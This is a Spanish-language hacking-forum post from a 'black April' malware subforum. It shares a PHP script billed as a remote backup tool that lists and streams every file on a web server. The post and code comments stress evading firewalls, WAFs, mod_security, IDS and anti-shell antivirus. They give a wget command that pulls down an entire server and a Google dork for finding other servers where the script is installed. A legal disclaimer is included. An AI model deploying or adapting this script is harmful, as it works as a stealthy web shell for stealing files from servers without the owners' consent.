elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  Abril negro (Moderadores: Man-In-the-Middle, WHK, kub0x, fary)
| | | |-+  w.filebackup (respaldador de archivos remoto automatizado)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: w.filebackup (respaldador de archivos remoto automatizado)  (Leído 3,906 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
w.filebackup (respaldador de archivos remoto automatizado)
« en: 5 Abril 2017, 23:56 pm »

w.filebackup

Hola, hace unos 3 o 4 años atrás hice un script en php, lo que hace es disponerse para hacer un respaldo de todos los archivos del servidor sin tener las limitaciones de tamaño.


¿Cómo funciona?

* No comprime para descargar un solo comprimido, esto previene el uso de disco cuando hay poco espacio.
* Descargar archivo por archivo de manera recursiva, esto previene problemas de termino de ejecución por tiempo fuera cuando el archivo es muy grande.
* Utiliza streaming byte por byte, esto previene el uso desmedido de memoria ram cuando necesitas descargar archivos muy grandes.
* No es detectado por la mayoría de los Firewalls o WAF, gracias a que utiliza enlaces permanentes de apache, así previene el envío de parámetros.


¿Cómo lo ejecuto?

Primeramente, subes el script a un servidor web, por ejemplo http://example.com/w.filebackup.php , ahora cuando veas el script desde el navegador se verá igual que la navegación de archivos de apache, con la diferencia de que no interpretará nada, solo descargará. Ahora, basta con realizar una descarga recursiva con wget y tendrás la descarga de todo el servidor:

Código:
wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php

Enjoy y Feliz Abril Negro!

Código
  1. <?php
  2. /* w.filebackup.php V1.0 for Administrators by WHK
  3.  *
  4.  * Email: whk@elhacker.net
  5.  * Website: http://whk.elhacker.net/
  6.  *
  7.  * Uso Bash:
  8.  * --------
  9.  * mkdir page && cd page
  10.  * wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php
  11.  * rm -rf w.filebackup.php*
  12.  *
  13.  * Uso WEB:
  14.  * --------
  15.  * http://web.page/w.filebackup.php
  16.  *
  17.  * Al enviar la variable "token" via HTTP/POST restringe la visualización
  18.  * de los directorios hasta la ruta actual del script, esto evita que el
  19.  * respaldo salga fuera del directorio planeado y cause una sobrecarga.
  20.  * Solo utilizar sin esta variable en caso de querer hacer una backup
  21.  * extrema con mucho tiempo libre.
  22.  *
  23.  * GoogleDork:
  24.  * ----------
  25.  * inurl:".php?do=/" + intitle:"index of"
  26.  *
  27.  * Legal:
  28.  * -----
  29.  * Uso esclusivo sobre servidores propios, nunca utilizar en servidores sin el consentimiento del administrador.
  30.  * El usuario es totalmente responsable de su utilización.
  31.  * En caso de no aceptar este acuerdo no debe ser utilizado.
  32.  *
  33.  * Compatible:
  34.  * ----------
  35.  * Este Script es compatible con servidores con safe mode en ON, servidores sin
  36.  * zlib, sin gz, servidores que no tienen acceso a la shell del sistema, servdiores
  37.  * con mod evasive y mod security, servdiores con firewalls y Antivirus antiShells.
  38.  * No se asegura su funcionalidad al 100% debido a posibles reglas de protección que
  39.  * impidan su normal funcionamiento.
  40.  */
  41. if($getPath = substr($_SERVER['PHP_SELF'], strlen($_SERVER['SCRIPT_NAME']))){
  42.  
  43. /* Procesa el archivo */
  44. if(is_file($getPath)){
  45.  
  46. /* Obtiene el tipo MIME */
  47. if(function_exists('mime_content_type')) {
  48. $mime = mime_content_type($getPath);
  49. }elseif(function_exists('finfo_file')){
  50. $info = finfo_open(FILEINFO_MIME);
  51. $mime = finfo_file($info, $getPath);
  52. finfo_close($info);
  53. }
  54. if(!$type)
  55. $mime = 'application/force-download';
  56. /* Establece las cabeceras */
  57. header('Content-Type: '.$mime);
  58. header('Content-Disposition: attachment; filename='.basename($getPath));
  59. header('Content-Transfer-Encoding: binary');
  60. header('Content-Length: '.filesize($getPath));
  61. /* Hacia el infinito y mas allá! */
  62. if(!@ini_get('safe_mode'))
  63. /* readfile($getPath); que sucede cuando el archivo es mas grande que
  64. * la capacidad de memoria ram asignada en php.ini como un iso, un gz
  65. * con una backup de cpanel o un video? */
  66. if($handle = fopen($getPath, 'r')){
  67.  
  68. /* utiliza bloques de 4kb en modo binario para no corromper el
  69. * contenido a descargar y evitar el uso desmedido de la memoria ram
  70. * y evitar el activado de alarmas de IDS y Firewalls */
  71. while(($buffer = fgets($handle, 4096)) !== false)
  72. echo $buffer;
  73. fclose($handle);
  74. }
  75. /* Procesa el directorio */
  76. }elseif(is_dir($getPath)){
  77. $absolutePath = $getPath;
  78. /* Si no es archivo ni directorio que es? */
  79. }else /* 404 */
  80. $err = 'File not found or access denied ( '.$getPath.' ).';
  81. }
  82. /* Utiliza variables que no sean tan fáciles de incluir en un
  83.  * mod security o alguna regla del firewall (do es utilizado
  84.  * por vbulletin). */
  85. if(isset($_GET['do']) and (is_dir($_GET['do'])))
  86. $absolutePath = $_GET['do'];
  87. if((!isset($absolutePath)) or (!$absolutePath))
  88. $absolutePath = dirname(__file__).'/';
  89. /* Restringe la URL si se solicita */
  90. if(isset($_POST['token']) and (strlen($absolutePath) < strlen(dirname(__file__).'/')))
  91. $absolutePath = dirname(__file__).'/';
  92. $items = array(
  93. 'glob' => array(),
  94. 'folders' => array(),
  95. 'files' => array()
  96. );
  97. // if($items['glob'] = glob($absolutePath.'*')){ glob() no encuentra los archivos ocultos como .htaccess
  98. if($items['glob'] = scandir($absolutePath)){
  99. foreach($items['glob'] as $item){
  100. if(!in_array($item, array('.','..'))){
  101. if(is_dir($absolutePath.$item))
  102. $items['folders'][] = $absolutePath.$item.'/';
  103. else
  104. $items['files'][] = $absolutePath.$item;
  105. }
  106. unset($item);
  107. }
  108. }
  109. unset($items['glob']);
  110. ?>
  111. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
  112. <html>
  113. <head>
  114. <title>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></title>
  115. </head>
  116. <body>
  117. <h1>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></h1>
  118. <?php if(isset($err)){ ?>
  119. <p><b><i><?php echo htmlspecialchars($err, ENT_QUOTES); ?></i></b></p>
  120. <?php } ?>
  121.  
  122. <ul>
  123. <?php if(!isset($_POST['token'])){ ?>
  124. <li>
  125. <a href="<?php echo $_SERVER['SCRIPT_NAME'].dirname(substr($absolutePath, 0, -1)); ?>/"> Parent Directory</a>
  126. </li>
  127. <?php } ?>
  128.  
  129. <?php if($items['files']){ ?>
  130. <?php foreach($items['files'] as $file){ ?>
  131. <li>
  132. <a href="<?php echo $_SERVER['SCRIPT_NAME'].$file; ?>"> <?php echo htmlspecialchars(basename($file), ENT_QUOTES); ?></a>
  133. </li>
  134. <?php } ?>
  135. <?php } ?>
  136.  
  137. <?php if($items['folders']){ ?>
  138. <?php foreach($items['folders'] as $folder){ ?>
  139. <li>
  140. <a href="<?php echo $_SERVER['SCRIPT_NAME'].'?do='.urlencode($folder); ?>"><?php echo htmlspecialchars(basename($folder), ENT_QUOTES); ?>/</a>
  141. </li>
  142. <?php } ?>
  143. <?php } ?>
  144.  
  145. </ul>
  146.  
  147. <address>
  148. <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES); ?> Server
  149. at <?php echo htmlspecialchars($_SERVER['HTTP_HOST'], ENT_QUOTES); ?>
  150. Port <?php echo (int)$_SERVER['SERVER_PORT']; ?>
  151. </address>
  152. </body>
  153. </html>
  154.  
  155. <?php
  156. /* Evita la ejecución arbitraria por un LFI o <preppendfile> */
  157.  

Mirror: https://github.com/WHK102/w.filebackup/blob/master/w.filebackup.php


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Uploader de archivos REMOTO
PHP
‭lipman 9 5,269 Último mensaje 13 Enero 2009, 09:54 am
por eLank0
Explorador Remoto de Archivos VB.NET
.NET (C#, VB.NET, ASP)
locot3 0 3,530 Último mensaje 5 Diciembre 2011, 05:30 am
por locot3
Explorador de archivos remoto
Java
rinrin77 2 3,376 Último mensaje 28 Abril 2016, 23:36 pm
por + 1 Oculto(s)
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines